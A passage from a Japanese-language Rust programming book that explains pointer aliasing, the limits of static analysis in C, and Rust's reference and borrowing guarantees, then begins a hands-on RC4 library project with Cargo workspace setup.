*a と *b はどちらも 40 を指す(エイリアス)。このとき、a の整数はインクリメントされるのではなく倍になります(例: 80, 160, 320, 640, ...)。

  • 2. 複雑なメモリモデル: 生ポインターは無効なメモリ位置に設定される可能性があります。プログラマーがオフセットを計算するときにポインター算術のバグを混入させることもあります。あるいは単に、ポインターを「未初期化」のままにする(Cにおけるデフォルト状態)こともあります。

    • 含意: ポインターのデリファレンスはクラッシュにつながる可能性があります。あるいは任意のデータの読み取りや書き込みになる可能性もあります(クラッシュはしないが、プログラムの出力や挙動が不正になる)。

    • 根本原因: 解析領域での過大近似です。これは抽象化境界の産物です。この場合は、ハードウェア/ソフトウェアインターフェイスにおけるセマンティクスの違いです。

*a は任意のメモリを指し、*b はプロセスのアドレス空間の外側を指す

まとめましょう。 エイリアスでしょうか? プログラムが期待どおりに振る舞わないかもしれません。 私たちには判断できません。 無効なポインターでしょうか? プログラムがクラッシュするかもしれませんし、別の値が上書きされて不正になるかもしれません。 やはり、これが起きないことを証明することはできません。

incr 関数は単純に見えますが、静的保証にとって克服できない課題を生み出します。 このプログラムが意図した加算を実行すると主張することはできません。 指し示せる証明がなければ、私たちの確信は低いままです。

現実世界におけるポインターエイリアシング問題

オープンソースのCコンパイラーである gcc は、効率的なコードを生成することを目指しています。 任意の2つのポインターがエイリアスするかどうかを確実に判断することは不可能なので5gcc は少しずるをします。-O1 より大きい最適化レベルでは、2つのポインターが異なる型を指している場合、コンパイラーはそれらがエイリアスしないと仮定します。 この仮定により、影響の大きい特定の最適化が可能になります。

しかし実際には、Cプログラマーがこの仮定に違反することがあります(「型パンニング」と呼ばれるテクニックがあります)。 そのような場合、最適化によって厄介なバグや予期しない挙動が生じる可能性があります。 そのため、Linuxカーネルでは gcc フラグ -fno-strict-aliasing によって、この最適化が明示的に無効化されています13 14

ポインター問題のまとめ

静的解析には2つの失敗モード(相互排他的ではありません)のリスクがあります。過大近似、および/またはスケールしない/終了しないことです。 どちらも、静的解析ツールから引き出せる保証価値を制限します。 メモリ安全でない言語に対するポインター解析は、現実世界の問題を過大近似せざるを得ない古典的な例です。 ポインター(例: 自由に制御できるメモリアドレス)はシステムプログラミングにとって便利な抽象化ですが、実行時について自動的に推論する能力を著しく損ないます。 人間にとっても、それを正しく扱うのは困難です(ポインターは、C プログラムが「segmentation fault」15クラッシュで悪名高い理由の一部です)。

生ポインターは、既存の C/C++ コードからメモリ安全性の問題を排除することが現実的でない理由の 1 つにすぎません。 少なくとも、後方互換性を壊さずに行うことはできません。 覚えておいてください。メモリ安全性は、数十年にわたって困難であり続けている問題です。 多くの人が挑戦し、そのほとんどは失敗してきました。

Rust がポインターの問題をどのように扱うのか、少し見てみましょう。

不正確な解析でも有用であり得る!

ポインター解析には近い親戚があります。それが Value Set Analysis(VSA)です。 これはコンパイル済みバイナリに適用でき、ソースコードが利用できないユースケース(例: リバースエンジニアリング)を支援します。 ポインター解析とは異なり、VSA はポインター変数と整数変数を区別しません。 どちらの種類の数値変数についても、実行時に取り得る値の範囲を計算します。

上記の incr の例では、正しいプログラムに対する精密な VSA は、整数 a[40, 42] という両端を含む値範囲を持つと判断するかもしれません。これはインクリメント前とインクリメント後の両方の値を捉えています。そしてポインター *a も同様に、有効なメモリアドレスの何らかの範囲内にあり、概念的には [0x7ffe455e5c40, 0x7ffe455e5bf0] のようなものになります。

ここが重要です。最近の査読付きヒューマンスタディ16では、不正確な(例: 過大近似の)VSA の結果であっても、プログラムが機密情報を出力するかどうか(例: 「情報漏えい」脆弱性を見つける)を判断するリバースエンジニアの能力を向上させることが示されました。 不正確な VSA の結果を利用することで、経験の浅いリバースエンジニアでも、特定の問題タイプについては、支援を受けない経験豊富なリバースエンジニアと同等の性能を発揮できました16

近似的な静的解析は、多くの文脈において、実証的に有用であり得ます。


  1. 抽象解釈: 不動点の構成または近似によるプログラムの静的解析のための統一束モデル. Patrick Cousot, Radhia Cousot (1977).

  2. プログラム変数に対する制約x != 7 のようなもの)に従って結果を分解することは、「シンボリック実行」の特徴です。これは特に強力なプログラム解析です。理論上、シンボリック実行は純粋な静的解析です。しかし実際には、具体的な動的実行からのフィードバックを用いて実装されることが多くあります(別名「コンコリック実行」)。

  3. 17-355/17-665/17-819 プログラム解析. Jonathan Aldrich et al, Carnegie Mellon University (2021).

  4. CIS 547 ソフトウェア解析. Mayur Naiak et al, University of Pennsylvania (2021).

  5. ポインターが引き起こすエイリアシング: 問題の分類. William Landi, Barbara Ryder (1990). ↩2 ↩3

  6. 精密なフロー非依存 May-Alias 解析は NP 困難である. Susan Horowitz (1997).

  7. 講義 11: ポインター解析. Rohan Padhye, Jonathan Aldrich. Carnegie Mellon University (2021).

  8. ほぼ線形時間での Points-to 解析. Bjarne Steensgaard, Microsoft Research (1996).

  9. そうは言っても、形式的な記法には価値があります。それを学ぶことで、特定の問題についての考え方が変わることがありますし、少なくとも最先端の研究論文を読めるようになります。

  10. Null References: 10 億ドルの過ち. Tony Hoare (2009).

  11. より安全な Rust: Creusot によるプログラム検証. Xavier Denis (2021). この講演から借用した関数は、Rust の型システムが検証をどのように支援するかを示すために使われました。次のセクションではこの考えを探りますが、異なる文脈で扱います。

  12. ただし、ここでの「無制限」とは、現在の実行環境に対して相対的なものです。OS がプログラムに割り当てたプロセス空間のような「サンドボックス」(メモリセグメンテーションの強制)は存在します。このような制限により、あるプログラムのバグやエクスプロイトが他のプログラムや OS 自体に影響を及ぼす可能性が低減されます。

  13. Re: gcc inlining heuristics was Re: [PATCH -v7][RFC]: mutex: implement adaptive spinning. Linus Torvalds (2009).

  14. 未定義動作: 私のコードに何が起きたのか?. Xi Wang, Haogang Chen, Alvin Cheung, Zhihao Jia, Nickolai Zeldovich, M. Frans Kaashoek (2012).

  15. 「segmentation fault」、略して「segfault」は、プログラムが自分に属さない(割り当てられた「セグメント」の外側の)メモリ領域にアクセスしようとしたときに、オペレーティングシステムによって送出されるエラーです。デバッグは苛立たしいものになり得ますが、OS が止めてくれなかったらどれほど大変になるか想像してみてください!

  16. 精密および不精密な Value-Set Analysis(VSA)情報が手動コード解析に与える影響. Laura Matzen, Michelle Leger, Geoffrey Reedy (2021). ↩2

静的保証(2/2)

これで、静的プログラム解析における課題について、非形式的な理解が得られました。 あるいは、ポインター解析がなぜ難しいのかについて、いくつか直感を得られただけかもしれません。 そして厄介なことに、ポインターは私たちのシステムプログラミングに欠かせない存在です。 高性能なソフトウェアを書くには、参照渡しのセマンティクスが必須です。

ここから Rust におけるトレードオフが始まります。 まず、生ポインターを捨て、代わりに参照に頼らなければなりません(これについては後述します)。 次に、参照を使うときには常に従わなければならないルールがあります。

しかし、本当に昔ながらのポインターが必要な場合はどうなるのでしょうか?

抽象化は、「その前提が、それが存在するコンテキストと一致している」場合に有用です1。 ポインターは、メモリとの相互作用を容易にする抽象化です。

プログラムを安全な Rust の制約内で表現できない場合2でも、unsafe キーワードを使ってそのプログラムを書くことができます。 このキーワードが示すとおり、限定されたスコープについて、コンパイラによって強制される特定の安全性保証を放棄することになります。 unsafe ブロックの内部では、自らの責任で生ポインターを使用できます。 正しさの証明責任は、プログラマーであるあなたの肩に完全にかかっています。

そのような「オプトアウト」メカニズムがあることは、解析を完全に中止するよりも優れています。 実際、unsafe により、既存の C コードとのシームレスな統合が可能になります。 その相互運用性が、Rust の実世界での利用の多くを可能にしています。

unsafe は弱点ではないのでしょうか?保証をすべて失うのではないでしょうか?

正確にはそうではありません。 Rust の型システムの形式的検証に関する研究は、unsafe が存在していてもセキュリティ上の主張を維持できることを示しています3

形式手法を使わなくても、安全な抽象化unsafe な操作の上に構築できます4。 どのように呼び出されても安全性の不変条件を維持するインターフェイスを、注意深く設計できます。 内部で unsafe を使っているにもかかわらずです。 ただし、そのような設計の正しさをコンパイラが自動的に検証することはできません。 第13章では、unsafetyunsoundness の違いについて説明します。

しかし、もっと単純な見方を考えてみましょう。使用する unsafe が少なければ少ないほど、メモリ関連のバグについて監査しなければならないコード全体は少なくなります。

コードベースが safe と unsafe で 50/50 に分かれている場合でさえ、セキュリティレビュー、デバッグ時間、パッチのデプロイにかかるコストを大幅に節約できます。これは、後者の unsafe な半分が、安全な Rust と相互運用する C や C++ である場合でも当てはまります。

Rust の静的戦略

以下は、私たちのお気に入りの小さな厄介者である C の incr 関数を、Rust で書き直したものです。

fn incr(a: &mut isize, b: &isize) {
    *a += *b;
}

C 版を一つひとつ分解したので、この関数が何をするかはすでにご存じでしょう。 少し時間を取って、上のコードを確認してください。 構文について、いくつか推測できますか?

関数の本体はまったく同じです。 * は依然として逆参照演算子です。 += は同じ省略記法です。 isize は符号付き整数を表すキーワードで、C の int と同じようなものです。

しかし、Rust と C の incr 関数には 2 つの違いがあります。 1 つ目は細かな点です。戻り値の型がありません。 void が暗黙に指定されます。Rust では、関数が実際に値を返す場合にのみ、明示的な戻り値の型注釈が必要だからです。

2 つ目の違い、つまりポインターを使わなくなったという事実のほうが、はるかに重要です。 関数シグネチャを見ると、次のようになります。

  • & は参照です。これはポインターに似ていますが、任意の値にはなれません。Rust は、それが初期化済み変数有効なアドレスであることを保証します。

    • 前のセクションで述べたメモリモデルの問題を修正したことになります。逆参照演算子 * を使うとき、クラッシュしたり不正なデータを読み取ったりするリスクはありません
  • &mut は「可変参照」を意味します。この関数は、a が指す変数に書き込む能力を得ます。b についてはそうではありません。b は取るに足らない「不変参照」(単なる &)だからです。Rust は今や、任意のデータ片について、任意の時点で可変参照は 1 つだけ存在することを保証します。

    • 任意の時点で可変参照が 1 つしか存在できないなら、ba と同じデータ片を参照することはできません。2 つのパラメーターは、決してエイリアスしないことが保証されています。

Rust について今述べたことの重大さを振り返る価値があります。 強力な静的保証の世界全体が開かれたのです。

前のセクションでは、incr 関数について議論しながら、判定不能なエイリアシングが過大近似を強いること、クラッシュの可能性、任意メモリの読み取りなど、悲哀に浸っていました。

その関数を Rust に移植すると、それをコンパイルする(実行可能プログラムを作成する)という行為だけで、このプログラムが期待どおりに 2 つの異なる整数を加算することを実際に証明します。つまり、計算機科学者たちは、Rust の型システム(それらの保証の源です5 6)の形式的検証7について初期の研究を行っています。

Rust が適している場面で Rust を活用することで、高いレベルの保証を得られます。 少なくともメモリ安全性に関してはそうです。 それでも、incr のビジネスロジック(incr がインクリメントしている値の大局的な意味や、それらをインクリメントすることに意味があるかどうか)については何も保証していません。 木を見て森を見失わないようにしましょう。

C++ にも参照があるのではないですか?

はい。 しかし、その参照はメモリ安全ではありません。

C++ の参照は任意の値に設定できないため、生ポインターよりも正しく使いやすいものです。 しかし、それでも可変エイリアスを許します。 それは検証と並行コードの両方にとって問題です。

また、有効性も強制しません。 C++ では、すでに「存在しなくなった」オブジェクト、つまり解放済みのオブジェクトへの参照を誤って使用することがあります。これはバグであり、潜在的には脆弱性です。Rust はこれを防ぎます。

私たちの主張を検証する

セキュリティが要件であるときには、「信頼せよ、されど検証せよ」という考え方を採用するとよいでしょう。 では、Rust の解析が実際にどのように働くかを見てみましょう。 次の有効なプログラムを考えてください。

fn incr(a: &mut isize, b: &isize) {
    *a += *b;
}

fn main() {
    // 整数
    let mut val = 40;
    let step = 2;

    // 整数への参照
    let a = &mut val;
    let b = &step;

    println!("Before incr: a == {}, b == {}", a, b);
    incr(a, b);
    println!("After incr: a == {}, b == {}", a, b);
}

前のセクションの最初の図の組を思い出してください。そこでは、エイリアシングも無効なポインターもありませんでした。 このプログラムは次のように出力します。

Before incr: a == 40, b == 2
After incr: a == 42, b == 2

呼び出しの後、私たちはその2つ目の「良い」図に到達しました。

*a は 42(インクリメント後)を指し、*b は 2 を指す

この関数は期待どおりに動作します。 フォーマット指定子 {} が、整数そのものを出力するために逆参照を行ってくれる点に注目してください。

Rust の参照では、無効なポインタを生成する方法はありません。 そのため、それは試すことすらできません。 では、参照にエイリアスを作ろうとして、前のセクションで見た問題のあるエイリアシング図を作り出そうとするとどうなるでしょうか?

fn incr(a: &mut isize, b: &isize) {
    *a += *b;
}

fn main() {
     // 整数
    let mut val = 40;
    let step = 2;

    // 整数 `val` へのエイリアス参照
    let a = &mut val;
    let b = a;

    println!("Before incr: a == {}, b == {}", a, b);
    incr(a, b);
    println!("After incr: a == {}, b == {}", a, b);
}

このプログラムは実行されることはありません。代わりに、コンパイル時エラーが発生します。

error[E0382]: borrow of moved value: `a`
  --> src/main.rs:16:10
   |
11 |     let a = &mut val;
   |         - move occurs because `a` has type `&mut isize`, which does not implement the `Copy` trait
12 |     let b = a;
   |             - value moved here
...
16 |     incr(a, b);
   |          ^ value borrowed here after move

For more information about this error, try `rustc --explain E0382

このエラーはおそらく混乱を招くでしょう。 コンパイラは、一意な可変参照を複製することはできないと指摘しています。 それは、特に並行プログラムでは潜在的に危険なエイリアスになります。 このエラーは、第3章で「所有権」と「トレイト」を扱った後で、より理解しやすくなるでしょう。

話がうますぎるのでは?

ここまでで、Rust のコンパイラが可変エイリアシングを素早く効果的に検出する様子を見てきました。 Rust が C のようなメモリ制御を提供するなら、コンパイラ内部の解析も、これまで説明した points-to 解析と同じ根本的な障害に突き当たるはずではないでしょうか?

意外かもしれませんが、答えはノーです。 ここには、互いに関連する3つの要因があります。

  • 型システムによるサポート: Rust の内部解析器は、言語そのものとの直接的な統合という土台、つまり型システムの上に構築されています。この型システムは「アフィン型」8の一種を実装しており、任意の型キャストを許可しません。

    • 弱い型付けの言語(C など)に対して静的解析を行っても、これに匹敵する共同設計上の利点はありません。Rust コンパイラは、C 系のコンパイラや解析ツールでは証明できない性質を、設計上証明できます。
  • 実行時サポート: Rust のメモリ安全性の保証がすべてコンパイル時に強制されるわけではありません。一部のチェックは実行時に行う必要があるため、Rust コンパイラはその目的のために追加のコードを挿入します。それらのチェックが失敗すると、Rust プログラムは終了する可能性があります。

    • メモリが破壊されたり悪用されたりしたプログラムが激しく死ぬよりは、正常な終了のほうが望ましいものの、理想的ではありません。この本の後半では、実行時の「パニック」に対する堅牢性テストを扱います。
  • 強い制約: 安全な Rust プログラムは、一連の特別なルールに従わなければなりません。mut キーワードには規定があります。型システムの機能であるこれらの制約により、一部のアルゴリズムは Rust で表現しにくくなります。少なくとも、捉え直しなしには難しいのです。

    • これらの制約の中で最も悪名高いものは、参照は共有&T)または可変&mut T)のどちらかにはなれるが、両方にはなれない、というものです。これは特定の種類のデータ構造にとって障害になります。この本の前半では、その解決策を探っていきます。

そもそも型システムとは?

型システムは静的解析の一般的な形態であり、特定の種類の実行時エラーを排除できます。 この話題についての短い補足は、付録の 基礎: 型システム セクションを参照してください。

まとめ

Rust のコンパイラは、メモリ安全性の性質を検証するためのファーストパーティの静的解析を提供します。 これは、Rust プログラムをビルドするたびに得られる、無料で即時の、そして大きな保証価値の追加です。

高価な製品(たとえば複雑なコード解析ツール)や、スケールしにくい専門家プロセス(たとえば熟練したセキュリティエンジニアによるベストエフォートのコードレビュー)に頼る必要はありません。 それは[ほとんどの場合]「ただ動く」のです。 保証は反復可能なデフォルトになります。

これらの保証は主に、「所有権」という新しい概念を導入する Rust の型システムの産物です。 その仕組みはメモリモデルとエイリアシングの複雑さを克服し、特定の正しさの概念を証明できるようにします。 所有権がどのように機能するかについては、第3章で詳しく掘り下げます。

動的解析に進み、最初の Rust プログラムを書き始めましょう。

形式検証のための基礎

Rust の型システムは、形式検証研究に重要な意味を持ちます。 具体的には、共有された可変状態が存在しないため、この言語は一階述語論理9を使う検証技法に適しています。

一階述語論理は、学部課程の離散数学の授業で教えられます。 そうした授業は、コンピュータサイエンスのカリキュラムでは一般的です。 これは、実務エンジニアが Rust の演繹的検証ツールを使うために、分離論理(より新しく高度なトピック)を学ぶ必要がないかもしれない、ということを意味します。

第11章では、演繹的検証の初期プロトタイプを試します。 Rust の検証は、活発な学術研究の領域です。


  1. 文脈の中のソフトウェア、Zach Tellman とともに。Zach Tellman、Adam Gordon Bell(2019)。

  2. Memory Mapped Input/Output(MMIO)は、遠く離れた、一見ランダムなメモリ領域に大量のマジックバイトを書き込む必要がある文脈です。意外かもしれませんが、それはハードウェア周辺機器を制御する主要な方法の1つです。「データシート」(製造元が書いた公式のハードウェアマニュアル)には、どの特定のメモリアドレスにどのマジックバイトを書き込むべきかが記されています。これは、まさに生ポインタが必要で、危険など知ったことか、という類のものです!10

  3. Rust プログラミング言語の理解と進化(博士論文)。Ralf Jung(2020)。

  4. Rust の Unsafe が機能する理由。jam1garner(2020)。

  5. Pin における不健全性。comex(2019)。Rust コンパイラは人間によって書かれ、保守されていることを忘れないでください。ここにリンクした Pin の問題のように、時にはバグもあります。繰り返しますが、絶対的なセキュリティなど存在しません。Rust の型システムの形式検証は、頻繁に変更されるコンパイラのコードベース全体にバグがないことの検証を意味するわけではありません!

  6. totally_safe_transmuteの行ごとの解説. William Woodruff (2021). このブログ記事では、transmutation(ある型のビットを別の型として再解釈すること)のための型破りなトリックを詳しく説明しています。このトリックでは、プログラムがOS機能を使って、Rustコンパイラが想定しておらず、想定しようもない方法で、実行時に自身のコードを変更します。そのため、コンパイラにとっては「安全」ですが、実際には極めて安全ではありません。これはRustの安全性保証が破られているという意味ではなく、型システムがプログラムの実行環境のあらゆる側面をモデル化できるわけではない、というだけです。また、そうすべきでもありません。現実世界のほとんどのプログラムは、実行時にメモリ上の自身の表現を書き換えたりしません。

  7. コンピュータ科学者がプログラミング言語 Rust の安全性主張を証明。Saarland University(2021)。Rust の形式検証は、現在の成功と継続中の取り組みの両方を伴う研究課題であることに注意してください。

  8. アフィン型システム. Wikipedia (Accessed 2022).

  9. RustHorn: CHCベースのRustプログラム検証. Yusuke Matsushita, Takeshi Tsukada, Naoki Kobayashi (2020).

  10. tock-registers. Tock Project Developers (2021). このプロジェクトは、カスタマイズ可能な型の形で安全なMMIO抽象化を提供します。生ポインタの代替として確認する価値があります。

動的保証(全3回の1)

静的解析は取り組むのが難しいトピックになり得ます。それは、日々の開発の現実から切り離されているように見える理論と証明の世界の氷山の一角です。 しかし、コンパイラのユーザーである私たちは、実装の詳細をすべて理解しなくても型システムの恩恵を受けています。

それに比べると、動的解析は楽しく、身近に感じられる相方です。 独自の静的解析を実装する開発者はほとんどいません。 ほとんどのプロの開発者はユニットテストを書きます。これは、プログラムの一部を意味のある方法で実行する小さな動的解析です。

動的解析は概念的には理解しやすいものです。具体的な入力でプログラムを実行し、何が起こるかを観察することで、そのプログラムについて学びます。

  • 長所: 実際のプログラムを現実世界で実行したものなので、各実行結果を信頼できます。偽陽性はありません1

  • 短所: 一度に観察できるのは1回の実行だけなので、データポイントの集合から繰り返しサンプリングすることで確信を積み上げていきます。しかし、完全な集合はたいてい巨大であり、私たちのサンプルはごくわずかです。そのため、一般的な結論を導くことはできません。

    • 動的解析は、1つ以上のバグの存在を証明できます。しかし、いかなる種類のバグの不在も証明することはできません

プログラムを実行すると何が起こるのでしょうか?

ハードウェアとソフトウェアのコンポーネントのオーケストラが、複雑な方法でタスクを実行し、相互作用します。 1万フィート上空から眺めると、おおよそ次のようになります。

ローダーがプログラムのインスタンスをメモリにコピーし、そのための隔離された環境をセットアップして、「プロセスを生成」します。 プロセスが実行中で、ディスクへの書き込みやネットワークデータの読み取りを行いたい場合、オペレーティングシステム(OS)の協力を引き出します。 そのOSは、物理ディスクドライブやネットワークインターフェイスカードのようなハードウェアへのアクセスを管理します。 比較的小さな状態機械である*中央処理装置(CPU)*が、あなたのプログラム、何百もの他のプログラム、そしてOS自体の実行を高速に切り替えることで、一連のイベント全体を駆動します。

動的解析は、*テスト対象プログラム(Program Under Test: PUT)*に便乗する小さなプログラムです。 実行中、あるいは実行の前後にPUTへ「フック」し、「ライブイベント」を記録します。 たとえば、デバッガーは実行中の特定の時点における変数の現在値を読み取れます。 ユニットテストは、特定のパラメーターで実行された特定の関数の戻り値を確認できます。

Rustで暗号を少し書いてみましょう!

現実的には、読者のうち決して少なくない割合の人が、この第2章を越えて読み進めないかもしれません。 現実の優先事項は変わりますし、新しい言語と新しいスキルセットを学び、それを最後までやり遂げるのは大変なタスクです。

だからこそ、あなたには今すぐ興味深いRustプログラムを書いてもらいます。 実際に動くもの、実行できるものを作りましょう。 コマンドラインツールのエンドユーザーとしても、セキュリティ上重要なライブラリを検証するテスターとしても使えるものです。

これから、小さいながらもモジュール化されたプログラムを書きます。 それには2つの部分があります。

  1. 単一暗号の暗号ライブラリ: 有名だが時代遅れのストリーム暗号であるRC4を、ゼロから実装した、組み込み向けにも適した実装です。扱いの難しいRustコードを書くための独立した短期集中講座だと考えてください。

  2. コマンドラインインターフェイス: あなたの暗号ライブラリを使って、コンピューター上のファイルを暗号化および復号する方法です。引数解析とファイルI/Oを実行できるようになることは、どんな新しい言語でも、実用的なプロジェクトへの扉を開きます。

さて、暗号は正しく実装するのが非常に難しいことで有名です。 そしてRustコンパイラは、どれほど強力であっても、特定のアルゴリズムの実装の正しさを静的に推論することはできません。ストリーム暗号であれ、それ以外であれ同じです。 ここで動的解析の出番です。

  • 既知の正しいRC4実装との入力出力の等価性を示すユニットテストを書きます。

  • 動的解析がどこで失敗するのかを理解するために、ライブラリへ単純なバックドアを挿入します。

ストリーム暗号とは何でしょうか?

この用語を初めて見る場合、または簡単に復習したい場合は、先に進む前に付録の「基礎: ストリーム暗号」セクションを読んでください。 次のセクションの暗号コードを理解するために必要な背景を簡潔に説明しています。

モジュール化されたプロジェクトのセットアップ

第1章の終わりでセットアップした開発環境にログインし、ここから先は手を動かしながら進めてください。 以下を流し読みするだけでなく、実際にやって学びましょう!

まず、Rustツールチェーンが正しくインストールされていることを確認します。 次のコマンドを実行すると何が起こるでしょうか?

rustup doc --std

WebブラウザーでRust標準ライブラリのドキュメントが開くはずです。 このコマンドは覚えておくと便利です。 もし飛行機の中でエアギャップされた安全な施設でコーディングしたことがあるなら、オフラインでアクセスできるドキュメントが必要になるかもしれません。

次に、Rustのパッケージマネージャーであるcargoを使って、「ワークスペース」2を作成します。 ワークスペースは、独立したモジュール(Rustの用語ではクレートと呼ばれます)で構成されるプログラムを整理するための便利な方法です。

  • クレートは、それ自体が独立した「プロジェクト」です。IDEが作成するもののようなものです。

  • ワークスペースでは、2つ以上のクレートが単一のビルドディレクトリを共有できます。これにより、共有依存関係のコンパイル時間を節約できます。

  • クレートは、ワークスペース内の同等の仲間(同じワークスペース内にあるが別のサブディレクトリにある他のクレート)の公開APIを呼び出せます。

この章で書くコードはかなり短いものになります(200行未満)。 しかし、より大きなプロジェクトでは、ワークスペースがモジュール性を助けます。 モジュール化されたコード構成は、複雑さを抑えるのに役立ちます(これについては第3章で詳しく説明します)。

まず、暗号ライブラリとそのコマンドラインインターフェイスの両方を収める最上位ディレクトリを作成します。 crypto_toolと呼ぶことにしましょう。

mkdir crypto_tool

次に、cargoを使って2つのクレートのスケルトンを生成します。

  1. rc4という名前のライブラリ(共有オブジェクト)クレート。

  2. rcliという名前のバイナリ(実行可能)クレート(“RC4 CLI“を疑わしく短縮したもの)。

rcliバイナリは、rc4ライブラリのAPIに依存します。 既存の独立した暗号ライブラリを使用する現実世界のツールと同じです。

両方のクレートの定型コードを生成するには、次のようにします。

cargo new crypto_tool/rc4 --lib
cargo new crypto_tool/rcli

--libフラグは、cargoにライブラリクレートを特に作成するよう伝える点に注意してください。 フラグが指定されていない場合、mainメソッドを持つ実行可能バイナリがデフォルトです(ただし、明示したい場合は--binを使うこともできます)。

バイナリとライブラリの違いは何ですか?

バイナリは、直接実行できるスタンドアロンプログラムです。 以下の tree コマンドは、対応するバイナリプログラムを探して実行するようシェルに指示します。

ライブラリには再利用可能なコードが含まれており、通常はバイナリや他のライブラリから呼び出せる API です。 tree がコンソールに出力を表示するとき、C の標準ライブラリ内の API である printf を呼び出します。

面白い事実があります。Linux の ELF や Windows の PE のようなファイル形式では、ライブラリとバイナリの違いはファイルヘッダー(ローダーが理解するメタデータ)内のわずか 1 バイトだけです。 CPU から見れば、どちらも単なるプログラムです!

現時点では、cargo は 2 つのクレート(rc4rcli)が関連していることを知りません。 今のところ、それらはたまたま隣接するディレクトリに存在しているだけです。 crypto_tool ディレクトリに新しい Cargo.toml ファイルを作成して、cargo に状況を把握させておきましょう。

touch Cargo.toml

この新しく作成したファイルを好みのエディターで開き、rc4rcli が同じワークスペースの一部であることを cargo に知らせるために、次の内容を入力します。

[workspace]
members = [
    "rc4",
    "rcli"
]

Linux コマンドの tree を実行すると、次のようなファイルとディレクトリの構成が表示されるはずです。

.
└── crypto_tool
    ├── Cargo.toml
    ├── rc4
    │   ├── Cargo.toml
    │   └── src
    │       └── lib.rs
    └── rcli
        ├── Cargo.toml
        └── src
            └── main.rs

5 directories, 5 files

.rs は Rust ソースファイルの拡張子です。 2 つの .rs ファイル(main.rslib.rs)が、これからコードを書く場所です。

Cargo.toml ファイルはプロジェクトマニフェスト3であり、Rust のビルドシステムの設定です。 他の 2 つは cargo new を実行したときに自動的に作成されたことに注目してください。 少し時間を取って、それらの内容を確認してください。

rclirc4 ライブラリに依存するため、cargo はコンパイル時にライブラリコードを見つける方法を必要とします。 その Cargo.toml ファイルの [dependencies] タグの下にエントリを追加する必要があります。 rcli/Cargo.toml を開き、以下のように最後の行を追記します。

[package]
name = "rcli"
version = "0.1.0"
edition = "2021"

# キーとその定義の詳細については https://doc.rust-lang.org/cargo/reference/manifest.html を参照してください

[dependencies]
rc4 = { path = "../rc4" }

ワークスペースの準備が整っていることを確認するには、crypto_tool ディレクトリから cargo build を実行します。 以下のような出力が表示され、rc4rcli の両方が正常にコンパイルされたことが示されるはずです。

   Compiling rcli v0.1.0 (/home/tb/proj/high-assurance-rust/code_snippets/chp2/crypto_tool/rcli)
   Compiling rc4 v0.1.0 (/home/tb/proj/high-assurance-rust/code_snippets/chp2/crypto_tool/rc4)
    Finished dev [unoptimized + debuginfo] target(s) in 0.43s

定型的な準備が片付いたので、組み込み環境に適した RC4 ライブラリを書き始める準備ができました!

次のセクションの詳細をすべて理解する必要がありますか?

いいえ。 次のセクションでは、Rust の構文と暗号技術の概念の両方に触れます。 先に進むために、細部まで完全に理解する必要はありません。

  • Rust の見慣れない構文は、特に第 3 章以降、読み進めるにつれて身についていきます。

  • 暗号技術はこの本の主題ではありません。この章で開発しているサンプルプログラムの文脈として、大まかな内容を把握すれば十分です。


  1. 一般的に言えば、動的解析には偽陽性はありません。ただし、テスト固有の例外は存在します。たとえば、クラッシュを引き起こす入力を見つけるために単一の関数をファジング(ストレステスト)しているとします。クラッシュを見つけるかもしれませんが、実際にはプログラム全体が、クラッシュを引き起こす入力をテスト対象関数に渡す前にサニタイズ(正規化または拒否)している可能性があります。この場合、そのクラッシュはより大きなプログラムの文脈では実際には再現できないかもしれません。

  2. ワークスペース。The Cargo Book(2022 年アクセス)。

  3. マニフェスト形式。The Cargo Book(2022 年アクセス)。

動的保証(全3回中2回)

あらゆるストリーム暗号と同様に、RC4はキーストリームを生成し、それを平文とビット単位でXORして暗号文を作成する必要があります。これが暗号化の仕組みです。

  • キーストリーム - 再現可能だがランダムと区別できないデータ。

  • 平文 - 暗号化されていないデータ。

  • 暗号文 - 暗号化されたデータ。

キーストリーム生成は、暗号状態を表すバッファを使って実装されます。 機械的には、RC4の暗号状態はsという名前の256バイト配列であり、ijという2つの変数でインデックス付けされます。 最初のステップは、この絶えず変化する状態と、そのインデックスの現在値を格納する構造体を作成することです。 crypto_tool/rc4/src/lib.rsの先頭に以下を追加します。

#![cfg_attr(not(test), no_std)]
#![forbid(unsafe_code)]

#[derive(Debug)]
pub struct Rc4 {
    s: [u8; 256],
    i: u8,
    j: u8,
}
  • 最初の2行は属性です。これらはコンパイラとやり取りし、プロジェクトを設定します。

  • #![cfg_attr(not(test), no_std)]は条件付き属性です。クレート全体に適用され、testビルドでない限り、このライブラリは実行されるシステムについて何も仮定しないことをコンパイラに知らせます。

    • no_stdは、おおまかに「標準ライブラリやランタイムサポートが利用可能であることに依存しない」という意味です。これにより利用できるのはRustのコア機能の集合に制限されますが、ファームウェア、ブートローダー、カーネルなどの組み込みユースケース向けにコードをポータブルにできます。#![no_std]については第4章でより詳しく説明します。
  • #![forbid(unsafe_code)]は無条件属性です。これもクレート全体に適用され、ライブラリにunsafeコードブロックがないことを保証するようコンパイラに指示します。これにより、後でリファクタリングしたり新機能を追加したりしても、コードはRustのメモリ安全性保証を最大限に活用できます。

    • 本書全体を通じてunsafeについて説明しますが、メインプロジェクトではこのキーワードを使用しません。
  • #[derive(Debug)]は、トレイト(共有される振る舞いの定義。第3章で説明します)と呼ばれるもののためのderiveマクロです。マクロは追加のコードを生成します。マクロを書くことは高度なトピックですが、初心者でも既存のマクロを活用できます1

    • #[derive(Debug)]Rc4構造体の上に置かれていることに注目してください。これはこの構造体にのみ適用され、その内容をコンソールにきれいに表示する方法をコンパイラに伝えます2。このマクロを使うことで、テストビルドでストリーム暗号を視覚的にデバッグしやすくなります。
  • Rc4構造体は、上記コードで最も重要な部分です。伝統的な意味でのオブジェクトではありませんが3、この構造体はプライベートデータをカプセル化し、次にそのデータを操作するメソッドを定義します。Rc4の3つのフィールドは次のとおりです。

    • s: 暗号状態。256バイトの配列(符号なし8ビット整数、したがってu8)。

    • i: キーストリーム生成のための「インクリメントされる」インデックス。

    • j: キーストリーム生成のための「ジャンプする」インデックス。

これで、RC4のロジックの2つの部分、KSAとPRGAを実装する準備が整いました。

警告!RC4は安全ではありません。

実際のプロジェクトでは、よく監査された、モダンで十分にテストされた暗号の実装を選択する必要があります。 この章の例としてRC4を選んだのは、実装が比較的簡単だからだということを忘れないでください。 RC4はプロフェッショナルなプロジェクトには適していません。

1. 鍵スケジューリングアルゴリズム(KSA)

RC4のKSAステップの目的は、可変長(40〜2,048ビット)の秘密鍵の影響を受ける置換を計算して、暗号状態配列を初期化することです。

